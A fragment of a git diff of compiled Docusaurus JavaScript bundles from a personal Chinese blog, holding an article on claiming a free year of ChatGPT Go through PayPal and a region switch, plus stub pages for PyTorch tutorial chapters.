\u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a"}}');var t=d(74848),r=d(28453);const l={slug:"/personal/articles/free-chatgpt-go-one-year"},i="\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01",c={},h=[{value:"\u9886\u53d6\u6761\u4ef6",id:"\u9886\u53d6\u6761\u4ef6",level:2},{value:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",level:2},{value:"\u9886\u53d6\u5b9e\u64cd",id:"\u9886\u53d6\u5b9e\u64cd",level:2},{value:"\u6ce8\u610f\u4e8b\u9879",id:"\u6ce8\u610f\u4e8b\u9879",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function x(n){const e={blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"\u9650\u65f6\u767d\u5ad6\u514d\u8d39\u9886\u53d6\u4e00\u5e74chatgpt-go\u5957\u9910--chatgpt-plus\u9752\u6625\u7248--\u4f7f\u7528gpt-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\u6e38\u5203\u6709\u4f59-",children:"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,t.jsx)(e.h2,{id:"\u9886\u53d6\u6761\u4ef6",children:"\u9886\u53d6\u6761\u4ef6"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u9700\u8981\u4e00\u4e2a",(0,t.jsx)(e.strong,{children:"\u4efb\u610f"}),"\u5730\u533a\u7684",(0,t.jsx)(e.strong,{children:"PayPal"})]}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"\u4e00\u5f20\u652f\u6301\u5916\u5e01\u652f\u4ed8\u7684\u4e2d\u56fd\u533a\u7684\u4fe1\u7528\u5361"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.del,{children:"\u53ea\u5bf9\u4e00\u4e0b\u5730\u5740\u5f00\u653e\uff0c\u6240\u4ee5\u4f60\u5f97\u6709\u4ee5\u4e0b\u5730\u533a\u7684\u7f51\u7edc\uff0c\u4f8b\u5982\u6211\u8fd9\u91cc\u9009\u62e9\u5370\u5ea6"})}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u963f\u5bcc\u6c57"}),(0,t.jsx)(e.td,{children:"\u963f\u5c14\u53ca\u5229\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5b89\u54e5\u62c9"}),(0,t.jsx)(e.td,{children:"\u5965\u5730\u5229\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5b5f\u52a0\u62c9\u56fd"}),(0,t.jsx)(e.td,{children:"\u8d1d\u5b81"}),(0,t.jsx)(e.td,{children:"\u4e0d\u4e39"}),(0,t.jsx)(e.td,{children:"\u73bb\u5229\u7ef4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u535a\u8328\u74e6\u7eb3"}),(0,t.jsx)(e.td,{children:"\u5df4\u897f\xb9"}),(0,t.jsx)(e.td,{children:"\u6587\u83b1\u8fbe\u9c81\u8428\u5170\u56fd"}),(0,t.jsx)(e.td,{children:"\u5e03\u57fa\u7eb3\u6cd5\u7d22"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5e03\u9686\u8fea"}),(0,t.jsx)(e.td,{children:"\u67ec\u57d4\u5be8"}),(0,t.jsx)(e.td,{children:"\u5580\u9ea6\u9686"}),(0,t.jsx)(e.td,{children:"\u4f5b\u5f97\u89d2"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u4e2d\u975e\u5171\u548c\u56fd"}),(0,t.jsx)(e.td,{children:"\u4e4d\u5f97"}),(0,t.jsx)(e.td,{children:"\u79d1\u6469\u7f57"}),(0,t.jsx)(e.td,{children:"\u521a\u679c\uff08\u5e03\u62c9\u67f4\u7ef4\u5c14\uff09"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6377\u514b\u5171\u548c\u56fd\xb9"}),(0,t.jsx)(e.td,{children:"\u521a\u679c\u6c11\u4e3b\u5171\u548c\u56fd"}),(0,t.jsx)(e.td,{children:"\u4e39\u9ea6\xb9"}),(0,t.jsx)(e.td,{children:"\u5409\u5e03\u63d0"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u57c3\u53ca\xb9"}),(0,t.jsx)(e.td,{children:"\u8428\u5c14\u74e6\u591a"}),(0,t.jsx)(e.td,{children:"\u8d64\u9053\u51e0\u5185\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5384\u7acb\u7279\u91cc\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u57c3\u65af\u74e6\u8482\u5c3c\uff08\u539f\u65af\u5a01\u58eb\u5170\uff09"}),(0,t.jsx)(e.td,{children:"\u57c3\u585e\u4fc4\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u6cd5\u5c5e\u5357\u90e8\u9886\u5730"}),(0,t.jsx)(e.td,{children:"\u52a0\u84ec"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5188\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u52a0\u7eb3"}),(0,t.jsx)(e.td,{children:"\u51e0\u5185\u4e9a"}),(0,t.jsx)(e.td,{children:"\u51e0\u5185\u4e9a\u6bd4\u7ecd"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6d77\u5730"}),(0,t.jsx)(e.td,{children:"\u6d2a\u90fd\u62c9\u65af"}),(0,t.jsx)(e.td,{children:"\u5370\u5ea6\xb9"}),(0,t.jsx)(e.td,{children:"\u5370\u5ea6\u5c3c\u897f\u4e9a\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u79d1\u7279\u8fea\u74e6"}),(0,t.jsx)(e.td,{children:"\u54c8\u8428\u514b\u65af\u5766\xb9"}),(0,t.jsx)(e.td,{children:"\u80af\u5c3c\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5409\u5c14\u5409\u65af\u65af\u5766"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u8001\u631d"}),(0,t.jsx)(e.td,{children:"\u83b1\u7d22\u6258"}),(0,t.jsx)(e.td,{children:"\u5229\u6bd4\u91cc\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5229\u6bd4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u9a6c\u8fbe\u52a0\u65af\u52a0"}),(0,t.jsx)(e.td,{children:"\u9a6c\u62c9\u7ef4"}),(0,t.jsx)(e.td,{children:"\u9a6c\u6765\u897f\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u9a6c\u5c14\u4ee3\u592b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u9a6c\u91cc"}),(0,t.jsx)(e.td,{children:"\u6bdb\u91cc\u5854\u5c3c\u4e9a"}),(0,t.jsx)(e.td,{children:"\u6bdb\u91cc\u6c42\u65af"}),(0,t.jsx)(e.td,{children:"\u9a6c\u7ea6\u7279\u5c9b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u8499\u53e4"}),(0,t.jsx)(e.td,{children:"\u6469\u6d1b\u54e5"}),(0,t.jsx)(e.td,{children:"\u83ab\u6851\u6bd4\u514b"}),(0,t.jsx)(e.td,{children:"\u7f05\u7538"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u7eb3\u7c73\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5c3c\u6cca\u5c14"}),(0,t.jsx)(e.td,{children:"\u5c3c\u52a0\u62c9\u74dc"}),(0,t.jsx)(e.td,{children:"\u5c3c\u65e5\u5c14"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5c3c\u65e5\u5229\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u632a\u5a01\xb9"}),(0,t.jsx)(e.td,{children:"\u5df4\u57fa\u65af\u5766\xb9"}),(0,t.jsx)(e.td,{children:"\u5df4\u5e03\u4e9a\u65b0\u51e0\u5185\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u83f2\u5f8b\u5bbe\xb9"}),(0,t.jsx)(e.td,{children:"\u6ce2\u5170\xb9"}),(0,t.jsx)(e.td,{children:"\u8461\u8404\u7259\xb9"}),(0,t.jsx)(e.td,{children:"\u56e2\u5706"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5362\u65fa\u8fbe"}),(0,t.jsx)(e.td,{children:"\u5723\u8d6b\u52d2\u62ff\u5c9b"}),(0,t.jsx)(e.td,{children:"\u5723\u591a\u7f8e\u548c\u666e\u6797\u897f\u6bd4"}),(0,t.jsx)(e.td,{children:"\u585e\u5185\u52a0\u5c14"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u585e\u820c\u5c14"}),(0,t.jsx)(e.td,{children:"\u585e\u62c9\u5229\u6602"}),(0,t.jsx)(e.td,{children:"\u7d22\u9a6c\u91cc"}),(0,t.jsx)(e.td,{children:"\u5357\u975e\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5357\u82cf\u4e39"}),(0,t.jsx)(e.td,{children:"\u897f\u73ed\u7259\xb9"}),(0,t.jsx)(e.td,{children:"\u65af\u91cc\u5170\u5361"}),(0,t.jsx)(e.td,{children:"\u82cf\u4e39"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5854\u5409\u514b\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u5766\u6851\u5c3c\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u6cf0\u56fd\xb9"}),(0,t.jsx)(e.td,{children:"\u4e1c\u5e1d\u6c76"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u591a\u54e5"}),(0,t.jsx)(e.td,{children:"\u7a81\u5c3c\u65af"}),(0,t.jsx)(e.td,{children:"\u571f\u5e93\u66fc\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u4e4c\u5e72\u8fbe"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u4e4c\u5179\u522b\u514b\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u8d8a\u5357\xb9"}),(0,t.jsx)(e.td,{children:"\u4e5f\u95e8"}),(0,t.jsx)(e.td,{children:"\u8d5e\u6bd4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6d25\u5df4\u5e03\u97e6"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{})]})]})]}),"\n",(0,t.jsx)(e.h2,{id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",children:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"\u8fd9\u90e8\u5206\u53ef\u9009\u62e9\u62db\u5546\u7684 Visa \u5361"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"https://cc.cmbchina.com/card/\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525044.png",alt:"image-20251110152241394"})}),"\n",(0,t.jsx)(e.h2,{id:"\u9886\u53d6\u5b9e\u64cd",children:"\u9886\u53d6\u5b9e\u64cd"}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u4f60\u5728\u4e0a\u8868\u4e2d\u7684\u4efb\u610f\u5730\u533a\u5747\u53ef\uff0c\u5e76\u8bbf\u95ee",(0,t.jsx)(e.code,{children:"chatgpt"}),"\uff0c\u5373\u53ef\u5728\u9875\u9762\u4e2d\u663e\u793a\u514d\u8d39\u8bd5\u7528 ",(0,t.jsx)(e.strong,{children:"Go"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525045.png",alt:"image-20251110144021236"})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u662f\u6700\u91cd\u8981\u7684\u6b65\u9aa4\uff0c\u8fd9\u5173\u7cfb\u5230\u4f60\u80fd\u5426\u4f7f\u7528",(0,t.jsx)(e.strong,{children:"Paypal"})," \u7ed1\u5b9a\uff0c\u70b9\u51fb\u53f3\u4e0b\u89d2\u7684",(0,t.jsx)(e.strong,{children:"\u5370\u5ea6"}),"\uff08\u4f60\u4eec\u53ef\u80fd\u6709\u6240\u4e0d\u540c\uff09\uff0c\u5207\u6362\u81f3\u6b27\u6d32\u4efb\u610f\u5730\u533a\uff0c\u4f8b\u5982\u56fe\u4e2d\u7684",(0,t.jsx)(e.strong,{children:"\u6cd5\u56fd"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525046.png",alt:"image-20251110144133319"})}),"\n",(0,t.jsxs)(e.p,{children:["\u70b9\u51fb\u5207\u6362\u540e\uff0c\u518d\u6b21\u70b9\u51fb\u56fe\u4e2d\u7684 ",(0,t.jsx)(e.strong,{children:"\u5347\u7ea7\u81f3Go"}),"\uff0c\u5373\u53ef\u51fa\u73b0",(0,t.jsx)(e.strong,{children:"PayPal"}),"\u652f\u4ed8"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525047.png",alt:"image-20251110144207423"})}),"\n",(0,t.jsx)(e.p,{children:"\u767b\u5f55PayPal\uff0c\u5e76\u7ed1\u5b9a\u4fe1\u7528\u5361"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525048.png",alt:"image-20251110144539996"})}),"\n",(0,t.jsx)(e.p,{children:"\u70b9\u51fb\u540c\u610f\u5e76\u7ee7\u7eed\u540e\uff0c\u5207\u6362\u56de\u6765\u5373\u53ef\u770b\u5230\u5df2\u7ecf\u662f Go \u5957\u9910\u4e86"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525049.png",alt:"image-20251110144856290"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6ce8\u610f\u4e8b\u9879",children:"\u6ce8\u610f\u4e8b\u9879"}),"\n",(0,t.jsx)(e.p,{children:"\u7531\u4e8e\u8be5\u5957\u9910\u662f\u6bcf\u6708\u4e00\u6b21\u7eed\u8d39\uff0c\u6240\u4ee5\u4f60\u4e0d\u80fd\u76f4\u63a5\u53d6\u6d88\u8ba2\u9605\uff0c\u800c\u4e14\u7b49\u5230\u4e00\u5e74\u540e\u53d6\u6d88\uff0c\u6240\u4ee5\u5404\u4f4d\u8bbe\u7f6e\u597d\u65e5\u8bb0\u95f9\u949f"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525050.png",alt:"image-20251110151606280"})}),"\n",(0,t.jsx)(e.p,{children:"\u540e\u7eed\u65e0\u9700\u4f7f\u7528\u5370\u5ea6\u6216\u4f60\u5f53\u524d\u9009\u62e9\u7684\u5730\u533a\u8282\u70b9\uff0c\u5176\u4ed6\u5730\u533a\u7684\u8282\u70b9\u5747\u53ef"}),"\n",(0,t.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,t.jsxs)(e.p,{children:["\u5982\u679c\u4f60\u4e5f\u60f3",(0,t.jsx)(e.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 ChatGPT Go \u5957\u9910"})," \uff0c\u5219\u9700\u8981\u524d\u7f6e\u7684\u4e09\u4e2a\u6761\u4ef6\uff0c\u8bb0\u5f97",(0,t.jsx)(e.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,t.jsx)(e.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})]})]})}function j(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(x,{...n})}):x(n)}},28453:(n,e,d)=>{d.d(e,{R:()=>l,x:()=>i});var s=d(96540);const t={},r=s.createContext(t);function l(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),s.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/d780fe5b.7932b3a4.js b/assets/js/d780fe5b.7932b3a4.js new file mode 100644 index 0000000..5eb9ce7 --- /dev/null +++ b/assets/js/d780fe5b.7932b3a4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6982],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},41535:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README","title":"\u7b2c\u4e94\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"},"next":{"title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e94\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e94\u7ae0",children:"\u7b2c\u4e94\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:41"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e94\u7ae0pytorch\u6a21\u578b\u5b9a\u4e49",children:"\u7b2c\u4e94\u7ae0\uff1aPyTorch\u6a21\u578b\u5b9a\u4e49"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f\n5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc\n5.3 PyTorch\u4fee\u6539\u6a21\u578b\n5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/da3c0b9c.5226fb85.js b/assets/js/da3c0b9c.5226fb85.js new file mode 100644 index 0000000..9230c7d --- /dev/null +++ b/assets/js/da3c0b9c.5226fb85.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6170],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>c});var s=n(96540);const r={},l=s.createContext(r);function i(t){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function c(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(l.Provider,{value:e},t.children)}},88550:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","title":"3.8 \u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"},"next":{"title":"3.9 \u4f18\u5316\u5668.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"}}');var r=n(74848),l=n(28453);const i={},c="3.8 \u53ef\u89c6\u5316.md",d={},o=[];function h(t){const e={h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"38-\u53ef\u89c6\u5316md",children:"3.8 \u53ef\u89c6\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 